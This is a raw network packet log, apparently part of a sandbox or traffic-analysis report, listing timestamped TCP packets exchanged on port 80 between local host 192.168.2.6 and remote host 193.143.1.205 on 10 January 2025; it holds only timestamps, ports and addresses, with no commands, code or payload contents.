Jan 10, 2025 14:58:05.984587908 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.984658003 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.984669924 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.984680891 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.984690905 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.984695911 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.984721899 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.984781981 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.984791994 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.984802961 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.984813929 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.984823942 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.984824896 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.984836102 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.984863043 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.984899044 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.984939098 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.984972954 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.984983921 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.984993935 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.985002041 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.985013008 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.985022068 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.985023022 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.985055923 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.985066891 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.985100985 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.985121012 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.985132933 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.985141039 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.985161066 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.985177994 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.985272884 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.985284090 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.985296011 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.985305071 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.985321999 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.985325098 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.985337973 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.985349894 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.985351086 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.985361099 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.985372066 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.985375881 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.985395908 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.985534906 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.985547066 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.985558033 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.985569000 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.985579967 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.985579967 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.985593081 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.985605001 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.985608101 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.985626936 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.985661030 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.985821009 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.985831976 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.985841990 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.985852957 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.985863924 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.985873938 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.985882044 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.985884905 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.985897064 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.985908985 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.985915899 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.985935926 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.986084938 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.986095905 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.986104965 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.986114979 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.986124992 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.986129999 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.986135960 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.986146927 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.986156940 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.986186981 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.986231089 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.986242056 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.986252069 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.986263037 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.986272097 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.986273050 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.986287117 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.986298084 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.986308098 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.986332893 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.014540911 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.014569044 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.014580965 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.014591932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.014604092 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.014610052 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.014614105 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.014664888 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.026840925 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.026850939 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.026858091 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.026896954 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.026907921 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.026973963 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.026976109 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.026988983 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.027000904 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.027045965 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.034668922 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.034709930 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.034719944 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.034733057 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.034738064 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.034749031 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.034768105 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.034786940 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.034802914 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.034837961 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.034848928 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.034882069 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.034912109 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.034924030 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.034934998 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.034950972 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.034976006 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.035044909 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.035058022 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.035068989 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.035084009 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.035096884 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.035119057 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.035161972 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.035173893 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.035182953 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.035193920 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.035203934 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.035237074 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.035238028 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.035267115 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.035278082 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.035305977 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.035372019 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.035382986 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.035394907 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.035406113 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.035409927 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.035435915 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.035500050 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.035511971 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.035521984 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.035542965 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.035569906 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.064428091 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.064439058 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.064455986 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.064467907 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.064479113 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.064549923 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.064590931 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.064603090 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.064610004 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.064614058 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.064635992 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.064663887 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.071727991 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.071747065 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.071759939 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.071803093 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.071813107 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.071825981 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.071865082 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.071886063 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.071897030 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.071907997 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.071924925 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.071954966 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.071962118 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.071971893 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.071981907 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.071994066 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.072002888 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.072043896 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.072072983 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.072083950 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.072093964 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.072104931 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.072114944 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.072119951 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.072144985 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.072208881 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.072220087 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.072230101 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.072241068 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.072258949 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.072273016 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.072316885 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.072328091 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.072340012 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.072348118 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.072352886 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.072360992 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.072382927 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.072407961 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.072455883 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.072468042 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.072478056 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.072516918 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.072540998 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.072552919 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.072565079 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.072572947 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.072585106 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.072607040 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.072698116 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.072709084 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.072720051 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.072730064 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.072738886 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.072741985 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.072756052 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.072762966 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.072767019 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.072794914 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.072807074 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.072837114 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.072849035 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.072887897 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.072912931 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.072925091 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.072935104 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.072945118 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.072954893 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.072974920 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.073164940 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.073182106 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.073193073 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.073199034 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.073199034 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.073210955 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.073221922 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.073231936 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.073239088 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.073242903 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.073261976 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.073292017 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.073318005 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.073329926 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.073360920 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.073513031 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.073523998 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.073534012 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.073544979 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.073555946 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.073565960 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.073575974 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.073582888 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.073586941 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.073599100 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.073606968 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.073609114 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.073626041 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.073661089 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.073683977 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.073784113 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.073795080 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.073806047 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.073816061 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.073823929 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.073827982 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.073839903 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.073849916 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.073852062 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.073882103 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.075779915 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.212573051 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.217536926 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.217556000 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.217569113 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.217613935 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.258393049 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.263233900 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.263271093 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.263283014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.263310909 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.263345003 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.263355970 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.263365984 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.263384104 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.263411045 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.263456106 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.263467073 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.263478041 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.263489008 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.263525009 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.263592958 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.263605118 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.263614893 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.263626099 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.263636112 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.263643980 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.263648033 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.263660908 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.263686895 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.263712883 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.263858080 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.263869047 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.263879061 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.263889074 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.263900042 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.263900042 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.263911963 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.263922930 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.263928890 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.263936043 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.263947010 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.263950109 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.263958931 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.263963938 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.263998032 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.264183044 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.264194012 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.264204025 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.264224052 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.264250040 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.264271975 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.264283895 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.264292955 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.264302969 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.264312983 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.264312983 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.264323950 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.264333963 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.264347076 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.264349937 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.264370918 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.264391899 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.264591932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.264602900 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.264611959 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.264621973 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.264631987 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.264641047 CET	49709	80	192.168.2.6	193.143.1.205
